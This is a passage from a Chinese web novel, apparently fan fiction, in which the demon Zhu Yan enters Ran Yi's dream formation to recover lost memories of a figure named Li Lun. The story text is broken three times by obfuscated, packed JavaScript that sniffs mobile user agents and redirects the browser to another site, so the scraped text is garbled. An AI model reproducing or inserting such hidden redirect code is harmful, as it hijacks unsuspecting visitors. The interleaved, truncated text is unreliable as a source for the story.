铜盘之上镌刻满古老复杂的咒语,而刚刚那抹从朱厌眉心剥离的红雾,这次竟然直接钻入铜盘中心。 一瞬间,吸收了那股黑红交织的诡异丝雾后的铜盘中心顿时折射出一道刺眼光芒。 转头躲避光芒的朱厌,恍惚之间,不由愣了愣。 许是真应刚刚那道声音所言,在这天地之间徘徊了太久,他竟生出了错觉—— 他刚刚,好似在铜盘之上,看到了一张一闪而过的面容。 半空之中,再次传来先前那道说话声:“不记得也好。这个梦...” 这一次,当这道声音再度落下的那一刻,朱厌便从原本白茫茫一片的四周,转眼来到了昔日自己定居在人间天都城郊的桃源小居。 桃源小居的小院内,鸟语花香,微风拂过,满院桃花翩翩起舞,铺满了小院的石径小道,一片生机勃勃。 刚刚落座的朱厌,还未来得及做出反应,不远处便有人唤了他一声。 “赵远舟。”一道夹杂了几分悦色的甜美声音传入朱厌的耳朵。 赵远舟,是他行走在人间的化名。 道远日暮,苦海行舟。 多久没听到有人如此喊他了?上一次如此唤他的是谁?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340696|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 好像是白泽神女赵婉儿吧,朱厌自己都快记不清了。 身为承载天地万物戾气的容器,朱厌与天同寿,不死不伤。漫无止境的生命在岁月摧残下,总能让他把曾经发生的点点滴滴忘了个七八分。 “朱厌。” 一道充满磁性,浑厚低沉的嗓音传入耳内,令他不由心神一晃。 这次这人唤的,是他真正的大荒名字,妖兽朱厌。 不知为何,这嗓音传入耳朵的瞬间,一种道不清说不明的感觉犹如电流划过朱厌的心脏,酥麻之中竟生几分难过。 “不记得也好,”那道在桥边听到的奇怪声音忽而隔空回应,“这个梦...你过得很伤情。” 从踏入这桃源小居的那一刻,朱厌就不曾说过一句话。 一直紧闭的双唇此刻微启,朱厌刚想追问这道陌生的声音,眼前突现出一道白色烟雾。 待到白雾散尽之时,一道素白身影现身跟前,坐在了朱厌对面:“朱厌,有些事,记得却不如忘了。” 两人之间仅隔一桌距离,明明近在咫尺,可朱厌却始终无法看清眼前这白衣男人的长相。 虽然看不清男人长相,但一股异常的熟悉感却在朱厌内心蔓延而开。 朱厌疑惑问着眼前人:“我...不认识你...” 还未来得及说出下一句话的朱厌,所有的注意力便被他身后的另外一道声音吸引而去。 “娘亲!” 是一个小娃娃的声音,稚童的声音宛若银铃。 朱厌听得出,这孩童此刻格外开心。 这定是个活泼开朗的小娃娃,朱厌心想着。 小娃娃这一声莫名亲昵的称呼,更是撞得朱厌心头泛起一股怪异的情感。 槐江谷的桃源小居,屋内依旧是一片昏暗,仅有几缕从单薄纸窗外透入的微弱光影。而完全陷入昏迷沉睡的朱厌,此刻的指尖,竟微乎其微地动了一下。 “娘亲!”小娃娃又朝他唤了一声,这一次带着浓浓的撒娇之意。 朱厌试图看清身后不断唤自己娘亲的孩童长相。可这孩童的脸,却跟坐在自己对面,唤他朱厌的白衣男子一样,始终难以看清。 “你...是谁?” 朱厌的这句话,是在问眼前的白衣男子,也是在问自己身后坐着的孩童。 朱厌追问着他们,希望可以得到一个答案。可是,在座的人里没有一人回答他的问题。 “装神弄鬼。你到底想要干什么?” 朱厌不由激动起来,连语气都气愤了几分。激动之际,讲话竟比先前流畅了许多。 话刚说完,传入耳边是一阵又一阵断断续续的铃铛声。 与此同时,槐江谷小居主卧内,一直昏迷沉睡着的朱厌,指尖又再次动了动,许久不活动而僵硬的手忽而诡异伸起,骨节分明的指尖,微微触碰了一下眼前那道笼罩着他的红色结界。 顿时,结界破碎。 结界消散殆尽的那一刻,结界内昏迷沉睡的朱厌眼睑微动。过一会,那双一直紧闭的眼睛,缓缓睁开。 朱厌神情呆滞,面无表情,呆在原地一动不动,就像只有一个空壳身躯。 朱厌那双睁开的红眸内,瞳孔微散,片刻之后,逐渐回神的眼眸之中,骤然一闪而过一抹诡异的鎏光。 红眸微动,眼睫轻颤,朱厌在外飘荡了上万年的三魂意识,正式归回沉睡许久的肉.身。 沉睡了三万多年的大荒上古大妖,朱厌,彻底苏醒过来了。 “我...” “在哪儿...” 5. 镜湖入梦 待到朱厌真正回过神,才发现自己身处的四周,一片昏暗,蛛网遍结,灰尘落满。 他这是,回到了真正的桃源小居吗? 那他刚刚看到的桃源小居,又是什么?是幻境吗? 在天地之间漂泊了足足三万多年的三魂意识,重新回到许久不曾活动的身体,朱厌努力了好一会才得以勉强一动。指尖僵硬地动了动,朱厌反应迟钝,缓慢微抬的眼眸内,满是不解的迷茫。 他,这是怎么了? 刚刚在那朦胧之间,好像有那么一个人,一直在帮他解答着他心中的疑问。 只是,他隐约记得,那个人告诉他,他做了一个梦,做了一个就算忘记了也没关系的梦。 因为那个人告诉他,他的这个梦,是一个很伤情的梦。 到底是什么?他确实也已经不记得了。 “朱厌。” “阿厌。” 两道声音交织着同时闯入朱厌的耳朵。 刚醒过来的朱厌在听到这声音后,整个人愣怔了好一会才反应过来,思考着是何人在与他说话?又是谁在唤他阿厌? 朱厌还来不及深思,这道奇怪的声音便又消失了。 “赵远舟,去找他。” 是那道幻境小居里的女声。 这声音,与赵婉儿倒有几分相似。 原来,那真的不是梦。 去找他? 找谁? 这道女声也随即消失不见,只留下一脸茫然的朱厌。 一个月后,槐江谷小居。 大荒的时间,与人间的时间,截然相反。 在妖兽遍布的大荒里,时光流逝得异常缓慢,这里没有四季轮回,只有昼夜交替。 此刻的槐江谷内,夜幕降临,皎月高悬,凉意阵阵。 一身紫红暗纹宽袖长袍的朱厌,身披着一件厚实的狐裘,独自漫走在小居外的木桥上。 木桥的上空,隐约泛着淡光,那是大荒通往连接大荒居外的结界 寂静的夜里,被一道突如其来的诡异男声打破。 “我早与你说了,有些事,记得却不如忘了。” 这道声音,低沉又悦耳,陌生又熟悉。 可偏生,这一句简短的话语之内,短短几个字,便把朱厌原本安定的心绪,搅乱得一塌糊涂。 原本前行走着的朱厌,再次听到后,当即停下前进的步伐,不由蹙眉,原本愉悦的脸色,顿时也黑了几分。 又是这道诡异的声音。 自他一个月前意外苏醒后,不管身在何处何地,总会听到这道奇怪的声音,任凭他如何躲藏,始终都躲不开。而这个不曾露脸的人,每次说话的内容,从头到尾,都只有这句话,不曾变过。 “你...到底...想干什么...” “我...根本不认识你...” “你...你有什么...资格替我...做决定...” 朱厌的脸色涌现出几分悲愤之色,可那双泛着淡珀光辉的红瞳却控制不住地滑落几滴热泪。 “朱厌,你知道你为什么会哭吗?”一道与朱厌一模一样的声音缓缓响起。 是戾气在说话。 是封印在朱厌体内,汇集了这四海八荒,天地之间所有暗黑邪恶的万物戾气。 “因为离仑。” 朱厌原本平静的情绪被这股不知源头的声音勾起,体内的戾气封印上裂开了一条小缝,在朱厌毫无察觉的角落里种下心魔的种子。 “离仑是谁?” “谁是离仑?” 悲愤,痛苦,难受,心酸,各种莫名其妙的悲伤情绪化成一股无形的波涛海浪,朝朱厌毫无预警地袭去,压得他都快喘不过气来,竟心生了一种窒息的错觉。 凡人生来自有七情六欲,也能体验与感受万物百态的情感思绪。 可是,对于天生七窍不全,大多数天生地养的妖族而言,须得经过数百年,千年,甚至是万年的修炼,才能体会与修炼出凡人的七情六欲。 如今的朱厌,虽快六万岁了,但也不曾一次体验过如此多的复杂情绪。 一阵又一阵刺痛,伴随着许多一闪而过稀碎又模糊的片段,在朱厌的脑海里炸开,难受得他不由伸手攥紧胸前的衣襟。 体内被封印住的戾气见状,狂笑不止,“朱厌。去找冉遗吧——”又忽而止住了笑意,阴恻恻说着,“那些尘封的过去,你不该忘记。你怎么...可以忘记呢...” 冉遗? 这又与冉遗有何干系? 一股莫名的疼痛从心脏深处密密麻麻涌起,让朱厌忍不住身形踉跄了几分。 胸腔之下,那颗跳动着的心脏,恍惚之间好似停了跃动,朱厌呼吸急促,疼得整个人半跪在地,忍不住将胸前衣襟扯了扯,大口大口喘气着。 朱厌明显感受到,自己内心所有情绪,被一股不知名的情绪牵动着,正在以迅雷不及掩耳之势,朝着自己无法掌控的方向蔓延着。 这种失去掌控的感觉,让他心生厌恶。 害怕自己彻底失控的朱厌,丝毫不再理会这两道扰乱自己心弦思绪的声音,踉跄着步伐,拖着身子,回到槐江谷小居,连忙打坐,掐诀施咒,平复这股来势汹汹的诡异思绪。 等到大半夜,朱厌才彻底将这股来势汹汹的诡异思绪,强行压制住。 第二日天还未亮,朱厌便行色匆匆离开了槐江谷小居,朝着大荒与人间结界地脉方向而去。 镜湖,历代水族的居住地。 湖心岛的小屋前,一道挺拔的身影,徐徐而来。 屋内榻上,一位长相冷峻,正盘腿修炼着法术的男人骤然睁眼,男人锋利的眉眼不由皱了又皱,脸露不满之色。 有人破了镜湖的结界,闯进了他的湖心岛。 冉遗缓缓起身,从小屋里走了出来。在看到悠哉踱步的那道熟悉身影时,冉遗愣了一下。 “冉遗,好久不见。” 面对故人,朱厌那张雌雄难辨的脸上露出一抹难见的笑意。 可站在不远处竹居台阶上的冉遗,面对朱厌这份热情却毫不领情,一脸冷漠:“朱厌,为何要来这里?” “我好像忘了些事情,”朱厌嘴角挂着一抹淡淡的笑意,慢悠悠地说着,“所以啊...我现在不是来找你了吗?” 看似笑容满面的朱厌,细看之下,那双深不可测的红瞳之中,却满是一片寒意。 冉遗听到这番话后,依旧面无表情。只是望着朱厌带着笑意的脸,不由陷入自我深思。 他天生具有控梦的妖力。 控梦之术,是他的命格法术。 三万八千年前,朱厌也曾前来找他,索求控梦之术入梦。 那时候的他,开启尘梦迷阵后也随之入境,在那一片白茫茫的幻境中,他告诉过朱厌。 “控梦术一旦施展,无人可解。只有靠梦境中人意识到自己正在做梦,才能自行脱困。否则,他们将永远困死在这梦魇当中。”① 时至今日,朱厌当时在幻境之中,回复他的话,依旧令他记忆深刻。 那时的朱厌听完他的话后,并没着急回话。反倒是过了足足好一会,才缓缓开口,给了他一个答案。 他说:“再漫长的梦,都会醒来。” 冉遗听到这话后,原本冷峻的脸上也不禁动容了几分。 是啊,朱厌说的没错。 不管是何梦,哪怕再漫长,总会醒来的一日。 只是,对于多数普通人而言,在梦里才可以得到自己追寻一生的东西。 在满目疮痍的现实里,又有多少人愿意醒过来呢?又有多少人愿意时刻清醒着呢? 冉遗抬眸望向朱厌,开门见山问道:“朱厌,你想要什么?” 很好。冉遗这条鱼儿,终于上钩了。 朱厌一听,眼里闪过一抹狡黠的光芒,嘴角不由上扬了几分:“我想要进去梦里找记忆。” 冉遗语气比刚才又冷了几分,黑着脸说道:“朱厌,我再跟你说一次。” “一旦开启控梦之术,既生尘梦迷阵,阵开只入不出。” “既已选入梦阵,唯有入局者,识己陷梦,方可破阵。否则,无人可解,永困梦魇,至死方休。” 站在走廊木桥上的朱厌,手负身后,站姿如松。一听冉遗的告诫,眉眼不由一挑,连带着那双红眸也晦暗了几分,心里却忍不住吐槽起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱厌习惯性地伸手,捋了捋身前被弄乱的发丝,忍不住吐槽了几分:“三万多年不见,冉遗小妖愈发傲娇了。怎么也不说一声就施咒开阵呢?我都还没准备好呢。” 朱厌继续嘀咕,絮絮叨叨控诉着:“真是没礼貌的小妖,看把我这漂亮的头发,都弄得跟鸡窝一样乱糟糟的。” “还别说。这尘梦迷阵虚构出来的槐江谷小居,还真有几分以假乱真的味道了。” 说完这话,朱厌自己都不由笑了起来。 负手走在这槐江谷小居通往连接大荒结界的木桥上,朱厌一脸好奇,一会伸手戳戳半空饱满的小水珠,一会逗逗那飞到一半停在半空一动不动的小妖兽。 兜兜转转了好一会,在朱厌即将拐道时,半空响起一道声音。 “阿厌,有些事,记得却不如忘了。” “谁在说话?”朱厌驻足停下,转身一望。 夜色下的湖面,波光粼粼。湖心中央,竟然泛起一股又一股夹杂着微光的涟漪。 朱厌眸中满是复杂神色,不由眉心一蹙,又是这道令他讨厌又难受的奇怪声音。 这人如此不讲礼数。 之前好歹唤他朱厌,这次竟如此不要脸地唤他为阿厌? 这人唤他的这一声阿厌,唤得格外亲昵,深情又缠绵,不知情的人若是不慎听去,定会心生误会他与这人的关系。 一想到这,朱厌的脸上肉眼可见地泛起一阵红晕,又气又羞地怼回去:“闭嘴!” 朱厌对着湖面,双指交叉施咒于眼前:“固——” 顺着一道若隐若现的光辉望去,虚构而出的湖心中央,原本拂动着的湖面因为朱厌的一字诀术法而变得瞬间平静。整个湖泊之中,原本柔软无形的水波也变成宛若坚硬平地的地面。 朱厌踏上湖面,盯着湖心泛起涟漪的位置,若有所思了好一会:“看来,这便是冉遗尘梦迷阵的阵眼了。” 朱厌忍不住伸手,指尖刚碰上泛着一波波涟漪的阵眼,整个人便被这股泛着白光的水流卷了进去,彻底消失不见。 待到朱厌睁开眼,映入眼帘的四周,白雪皑皑,昆仑山独有的法铃在风中来回响着,空中飘来一道熟悉的声音。 “朱厌,你这个臭小子——” 6. 诀别的爱 伸出的手,停在半空,一片雪花从天而降,落到朱厌掌心的那一刻,便化成一颗透明圆润的水珠。 “这是...” “难道是...昆仑雪山吗...” 朱厌自我呢喃道,还未彻底晃过神,身后便传来了一道熟悉的老者声音。 “朱厌,你这个臭小子,你还没学会控制戾气就偷跑下山。”① 老者的嗓音,宛如古老钟鼓,声音洪亮,精神十足。 闻言,朱厌身形一顿,转身循声望去,在看到那道熟悉身影时,思念涌上心头促使他的眼眶不由红了红。 “是爷爷。” 空中传来的反驳声里,带了一缕哀怨:“我已经学会了。” 一位黑衫银发的少年,正快速躲避着身后那位追着他跑,赶着抽他的老者。 老者手上拿了一根约莫一米长的粗长竹藤条。 少年身着一席黑纱金绣长袍,一头雪银长发绑成长辫随在身后。雪银长辫上还精致绑了各种白灰相间的小毛毛球发饰,上头还绑了几枚叮当作响的小铃铛点缀着。 此刻,少年正东一下西一下跳着,极力躲避身后挥打着他的长竹藤条。 系在一头及腰银发上的小铃铛,伴随着他跳来跳去的动作,发出一阵又一阵清脆的响声,缓缓作响在这静谧的昆仑雪山之上。 白雪皑皑的昆仑雪山神桥之上,少年朱厌此刻宛若一颗活蹦乱跳的芝麻团子。 朱厌望着这一前一后的两道身影,一向淡漠的眼里不自觉爬上了一抹柔情,宛若经年不融的万年雪山遇到温暖的春风北吹。顷刻之间,冰雪消融,万物复苏。 英招拿着藤条,追着前方的小朱厌,气喘吁吁骂着:“学会个屁啊。” 两人追逐的身影,穿过站在他们眼前朱厌的身体。 朱厌转身,若有所思地望了望这两道逐渐远去的身影。 这是多久前的事情了? 哦,他想起来了。 算算时间,应该得六万多年前了吧,那个时候的他刚满百来岁。 记得那天,他趁着英招外出镇邪,第一次偷溜出大荒结界,跑到了琳琅满目,繁华热闹的人间去玩了一趟。 朱厌一下子就明白了:“看样子,冉遗的尘梦迷阵是根据我的过往记忆,虚构还原出昔日昆仑雪山之忆。” 还未来得及做过多深思的朱厌,只见眼前昆仑雪山画面开始碎裂坍塌,一道刺眼白光一闪而过,站在原地的他,也随着消失不见。 在朱厌消失后,无数小水珠凝聚到半空,浮现成字:尘封记忆第一层。 只在半空中维持了几秒的水字,过一会就原地蒸发消失了。 一阵眩晕过后,朱厌再度睁开眼,映入眼帘的依旧是昆仑雪山,可这一次却是截然不同的另外一个的场景。 天空下起了绵绵不断的雪,却是无比诡异的黑雪。一向圣洁的昆仑雪山,此刻却是一片断壁残垣,火光四起。 看着这残破的四周,朱厌不由一愣。 昆仑雪山何时变成了这副模样?为何他一点记忆都没有呢? “孩子。” 是英招。 空中突然传来英招的声音,却也只闻其声,朱厌找了许久都找不到英招的身影。 “英招爷爷。” 瞧见英招,朱厌情不自禁红了眼,像个委屈巴巴讨糖失败的小娃娃,心里也莫名其妙难过了起来。 活了几万年俨然早已是大妖的朱厌,此刻手足无措地站在原地,宛如迷路的稚童。 “哪一条才是你的道,自己悟吧。” 朱厌还未来得及开口追问,转眼之间,眼前场景又再度更变。 一个倒地不醒的人,突然出现在他跟前。 倒地之人,一身华丽精致的黑白衣裳上,满是火苗灼烧后的残破,露出的手臂都是火焰灼伤的痕迹,整个人遍体鳞伤,昏迷不醒。 朱厌走近一看,才发现这倒地不醒的人,竟是他自己。 一阵刺耳的翁鸣音,毫无预警地穿进他的脑海里响个不停。熟悉的刺痛酸胀再度袭来,朱厌眼前一黑,整个人倒地之前便彻底失去意识。 不知过多久,耳边传来若隐若现的诡异声响将他吵醒,迫使他睁开了沉重不堪的双眼。 上一秒还是记忆局外人的朱厌,此刻竟以身入局自己的昔日记忆,成为了过去的自己。 睁开眼的朱厌,还未来得及回过神,却见一股又一股蓝金相间的法力从小远处一道模糊不清的身影,隔空向他传来,源源不断地注入他妖力枯竭的体内。 朱厌原本妖力枯竭的体内,顿时宛若滚滚沙漠之中,那一处早已枯竭的绿洲临遇甘露天降,片刻之间,他身上的诸多重伤便恢复得七七八八了。 是妖力。 朱厌思索着,此等修为深厚的法力,对方定大荒里是数一数二,叫得出名号的上古大妖。 “你...是谁?”朱厌躺在地上,望着那道模糊不清的黑影,气息虚弱问着。 “阿厌,”一波又一波蓝金妖力输送之中传来了一道成年男子的声音,“我是离仑。” 朱厌瞳孔骤缩,神色愣怔。 这声音,不就是那道时常萦绕在他耳边,任凭他如何躲藏都躲不开的声音吗? 离仑? 好熟悉的名字。 “我根本不认识你。”朱厌下意识脱口而出,说完后自己却不明所以失神起来。 尘梦迷阵外,湖心岛小屋内,冉遗坐在床沿边,衣袖被躺在床塌上的朱厌双手死死攥住。 “离仑是谁?”朱厌双目紧闭,眉心紧蹙,满额冷汗,嘴里时不时呢喃出声,“谁是离仑?” 困在尘梦迷阵的朱厌,彻底陷入无限循环的噩梦之中。 望着这副模样的朱厌,冉遗脸上也露出了忧色:“今日帮你之举,不知是错,亦是对?” 尘梦迷阵内的朱厌,随着耳边再度响起的铃铛声响,眼前场景再度转变,快速更换的场面让他头痛欲裂。 朱厌所在的四周,景色开始褪色,进而全部消散成烟。待到他再度睁眼之时,自己又变成了正守在因身中沉溺之毒,准备自戕的卓翼宸身边。 卓翼宸,凡间缉妖司的一司统领,是那把可诛邪斩妖的云光剑主人。 身中沉溺之毒的卓翼宸,早已分不清现实与梦境。 困在沉溺之毒梦境里的卓翼宸,正准备以云光剑自戕结束梦境重回现实。可他不知,死于沉溺之毒梦境的人,也会同丧命于现实。 失去妖力的朱厌一脸焦急,只能徒手以血肉接挡住卓翼宸自戕的锋利剑刃。没一会,他紧握着锋芒利刃的右手便血肉模糊,鲜血从他掌心,像水流决堤般滴落在雪地上。 与他们相隔甚远的对面,站着一个黑衣人。 朱厌试图想看清这黑衣人,可却被脑子传来的一阵钝痛给阻了去,疼得他眼前直泛晕眩之意。 就在朱厌晃神的片刻,对面那黑衣男人瞧准时机,手一挥,半空之中腾升起一堆泛着黑气的火球。下一秒,半空中悬浮着的无数火球像有了意识般,朝着他和卓翼宸所在位置袭来。 眼看着逐渐逼近的火球,此刻妖力尽失的朱厌神色一凛,薄唇下意识微抿成线,咬紧着内心慌张,唯有那双看似淡定红眸之中,隐约闪透着他此刻的虑色。 铺天盖地朝他们砸去的火球,引得昆仑雪山的四周翻涌起一阵又一阵的漫天风雪。 分身无术的朱厌面色凝重,风雪之大迷了他的双眼,逼得他忍不住躲了下,连忙伸手挡在卓翼宸面前,免他被这风霜误伤。 凡人可不似他这般不死不灭,万一伤到了,还得花时间帮他医治。 麻烦。 就在他决定以身挡火护住卓翼宸时,一道声音破空而来—— “住手!”一道无比焦急的声音隔空传来,嗓音不断回荡在整座昆仑山的上空。 在火球即将砸向两人时,远处的空中传来一阵又一阵窸窸窣窣的声音。数之不尽的槐树绿叶凭空出现,迅速挪动着,争先恐后地飞到朱厌跟前。 漫天飞舞着的无数槐叶,此刻好似都有了自我意识般,自行兵分两路。一大部分打着旋儿的槐叶朝着朱厌所在位置飞去,先行将他团团护在中央。 槐木叶子以朱厌为径,一个淡绿结界凭空而生,将他跟卓翼宸两人笼罩在其中,护着他们不受火球一丝伤害。 而另一部分的槐叶,蜕化成一个又一个坚硬的槐叶护盾,争先恐后直面着相冲袭来的滔天火球。 槐盾与火球相触瞬间,半空发出一声又一声巨大的轰鸣爆炸声,一波波妖力交战的余震,回荡在整座昆仑雪山上。 寒风凛冽,风雪交加,引得昆仑雪山神桥上悬着的法铃,叮当作响个不停。 朱厌下意识抬头一望,半空之中,隐约可见,藏在无数槐叶之中,一道身形高大的人影渐凝现出,挡在他的前方。 这个他不曾见过的人,甚至还用自己的身躯,硬生生替他挡掉了一个火球。 朱厌觉得,这人真奇怪。 他一动不动地望着半空之中漂浮着的槐叶,脑海里却莫名再次闯入了先前他魂游于轮回桥边,与那陌生男人的对话。 “我...在哪儿?” “你睡着了。做了一个梦。” 因为抵挡火球而被烈火焚烧的槐木残叶,带着残火,从空中纷纷落下。那道槐叶之中聚成的人影,缓缓落地,彻底占满了朱厌的双眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340698|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这道从天而降的身影映进朱厌眼里的那一刻,一波又一波他难以控制的不明情绪在朱厌内心深处不断涌出。 朱厌呼吸一滞,瞳孔一缩:“你,是谁?” 眼前这个身形高大的男人,从始至终都一直背对着朱厌,沉默不语,没有回答他的问题。 “这个梦,你过得很伤情。” 犹记得,他三魂离体,游荡在轮回桥边,还尚未初归之时,那道陌生声音总在他耳边呢喃着这句话。 到底是一个什么梦?又为何会让他很伤情? 真如这人口中所言,这是一个伤情的旧梦吗? 他努力回想着,希望可以在自己破碎的记忆里,找到自己想要的最终答案。可惜,还是没有找到一丝相关的记忆。 朱厌望着这道模糊不清的背影,一股莫名的熟悉感,自内心深处涌起,让他不由失神起来—— 他的记忆,究竟是因为,自己活得太久才记不清了,抑或是被人刻意动了手脚才如此错乱? 自己可是大荒数一数二的上古大妖,放眼整个大荒,能与他打个平手的大妖寥寥无几。 够资格,敢动他记忆的大妖,还未出世呢。 如此一想,朱厌嘴角露出的苦笑,也多了几分自己尚未察觉到的自嘲。 果然,活太久,真让他觉得,腻.极了—— 不曾想,朱厌此前那一番强行回忆,直接撼动了尘梦法阵,致使尘梦幻境开始消散与坍塌。 顷刻之间,朱厌眼前所有的一切,都正以肉眼可见的速度在他眼前一点点破碎坍塌,进而消失得一干二净。 朱厌一愣,满心疑惑。 怎么回事?梦也会坍塌的吗? 幻境坍塌,尘梦迷阵内的朱厌,被法阵重新输送回最初虚构而出的槐江谷小居幻境入口。 尘梦迷阵外,因为入阵而昏迷不醒的朱厌,此刻眉头紧锁,满额大汗。 细看之下,朱厌的眼睑微动,似有苏醒之际。而尘梦迷阵内,尘梦湖心中央不断泛起一股有一股汹涌的涟漪,而迷阵的阵眼,开始逐渐变小。 朱厌见状后,赶紧小跑,一把奔向湖心之中正在缩小消失的阵眼。 “阿厌。”又是那道自从朱厌恶苏醒过来后,就时不时在他耳边响起的那道声音。 这人喊住了他,意图阻扰他再次进阵。 “闭嘴!” 朱厌生气地朝着这道试图阻拦自己的声音小吼着,不顾规劝,再次强行入梦,顺着阵眼,又再次回到到了尘梦迷阵虚构出来的昆仑雪山。 等到朱厌眼眸再睁时,来到了尘梦迷阵里呈现出的尘封记忆第二层。 朱厌又再次回到了那断壁残垣,火光四起的昆仑雪山。 他重新回到了迷阵幻境坍塌前的那一刻,回到了自己正阻止着身旁准备用云光剑自戕出梦的卓翼宸,而眼前的不远处,正站立着的是那道从天而降的高大背影。 “这个梦,你过得很伤情。” 朱厌听到了自己先前在幻境之中的回答:“可是,我早就不记得了。” “有些事,记得却不如忘了。” 眼前的身影,缓慢转身望向他,近在咫尺的距离,可朱厌却始终看不清这男人的容貌。 “人间嘈杂闹腾,非要来。”② “每次陪你来人间,都得盖这么一个戳。”③ 男人的语气带了几分哀怨,明明是吐槽之意,朱厌却很奇怪地从这寥寥几句的话语中听出来男人对他的一丝撒娇之意。 朱厌猜想着,这男人口中所言的戳,大概就是大荒之地用来束缚妖族言行举止的白泽封印吧。 下一秒,朱厌眼前这道高大的身影便又转过身去,紧接着纵身一跃,朝着对面远处刚刚攻击他的黑衣人所在方向而去。 “离仑!” 明明自己完全不知道眼前的人是谁,却在见到男人纵身一跃离他而去的瞬间,朱厌脱口喊出了这个在他未踏入尘梦幻境前完全不曾听过的名字。 明明思维还尚在弦上,可他的身体却如箭离弦,整个人下意识快速奔跑着,试图阻拦男人的离去。 卓翼宸声色着急,一把拉住朱厌:“赵远舟!” 朱厌伸出的手,试图抓住那个纵身离去的男人,最终却连男人离去的一抹衣袂都抓不住。 他看到,那个男人,飞升到半空,祭出真身。 巨大的槐树藤蔓,从男人背后蔓延而开,急速翻卷成一块天然的坚硬屏障,替他们挡住了攻击的火球。 朱厌遥望着半空中祭出的大妖真身,目不转睛盯着男人的背影,哽咽开口—— “离仑...” “你这样——” “我会很难过的...” 7. 离仑是谁 “离仑是谁?” 耳边突然出现一道跟朱厌一模一样的声音,开口质问朱厌。 一脸茫然的他,神情落寞应着:“不知道...” 嘴上说着不知道的他,可却在望向半空中那露出的鬼槐真身时,控制不住地泪流满面。 流转在眼眸之中,萦绕在心头之上的,是连他自己都难以述说清楚的不明情绪。 一颗颗透明温热的眼泪仿若断线珍珠,从朱厌那张受伤沾血的脸庞滑落。 混了一丝猩红血迹的眼泪,坠落在白雪皑皑的地上,恍若雪地红梅,刺疼了一旁卓翼宸的双眼。 朱厌就这样,眼睁睁看着那半空中祭出妖族真身的男人,用自己的身躯与本体真身,活生生挡下了对面抛来的一个又一个滔天火球,任凭那噬人火焰,烧尽他的身躯,吞噬他的本体真身。 朱厌又再次听到了自己的声音。 只是这一次,变成了两道声音。 第一道声音问他,“离仑是谁?” 而另外一道则是问他,“是不是很痛苦?” 脑海里再次飞速闪现许多破碎的片段,朱厌头痛欲裂得整个人完全站不稳,踉跄跌坐在原地,无措又彷徨。 那双被热泪灼到的红眸,夹杂了太多连他自己都理不清的情绪,有茫然,有痛苦,有悲伤,有难过,更有悔恨。 朱厌听到从内心深处传来的慰问声音:“不要害怕。一切都是梦中虚幻,醒来就好了。” 可是随之响起的另外一道声音,反驳了他给自己的安慰:“不对!朱厌,不是梦境,这是你的记忆!” 现实中的朱厌开始挣扎,满脸皆是痛苦神色。连同眼角,都不由淌下了一行眼泪。 冉遗望着这副模样的朱厌,脸色顿时黑了好几分:“朱厌!醒醒!” 可是深陷于尘梦迷阵的朱厌,任凭冉遗如何叫唤他,都无动于衷,依旧自顾自困于梦境之中。 尘梦迷阵内,场景被法阵操控着,不断进行转换。 头痛欲裂的朱厌根本未来得及作出反应,便被尘梦迷阵强行带入到另外一处。 半空凝聚起无数小水珠,小水珠自行排列成字地展示在朱厌眼前:尘封记忆第三层。 “冉遗的鳞片,可以让人,躲到梦里去。” 再度睁眼的朱厌,强忍下此刻脑海里那一波波宛若万针齐戳的剧痛,强迫自己打起几分精神。 这一次,朱厌发现,自己原本伤痕累累的手,此刻恢复如初,搭在泛着凉意的大荒白泽神碑之上。而随同自己一旁的,是一只比自己的手大得许多的手。 朱厌微微抬头,视线顺着对方那双骨节分明的手,到健硕高大的身躯,再最终停落在眼前人的脸上。 抬眸望去,是那位缉妖司的统领,卓翼宸。 卓翼宸熟悉的面容映入眼里,朱厌强行打起精神,嘴角淡笑:“小卓大人。” 朱厌脸上的淡笑,明明无比亲和,却让人品出了一抹难言的苦涩。 就在他喊完这一声小卓大人后,卓翼宸的脸却瞬间变成了另外一张他完全陌生的面容。 变脸后的人,是一张他完全陌生且极具攻击力的容貌。 站在他眼前的男人,棱角分明的五官之上,面如雕刻,剑眉星目,眸光清冷,神情冷峻,整个人俊美得宛若神邸下凡。 当他眼睛落到男人额上那两道暗蓝的诡异妖纹时,朱厌彻底愣怔住了—— 好熟悉的妖纹,可是为何他一点都想不起来在哪里见过呢? 朱厌转而看向眼前男人,那一双妖化后的红眸,不小心撞上了男人与他对视的那双灰蓝深瞳。 男人一言不发地回望着朱厌,那双深邃蓝眸,格外地摄人心魂。 只望一眼,朱厌便觉得,自己的魂魄都被吸了进去,内心深处宛若飓风袭过,一片狼藉。 才平息了没一会的刺痛,再次朝朱厌脑中袭来,连带着心脏也隐隐作痛起来。 头好疼! 心脏,好像更疼! 朱厌声音里带了一抹急色,连忙否定着眼前看到的一切:“不对!不对!为什么会这样?” 话语刚毕,眼前这张陌生的面容又诡异地再次变回卓翼宸的脸,朱厌错愕地望着这让他猝及不妨的变化。 四周景色开始如沙塔般,倒退,塌方,消散,化作一阵云烟而去。 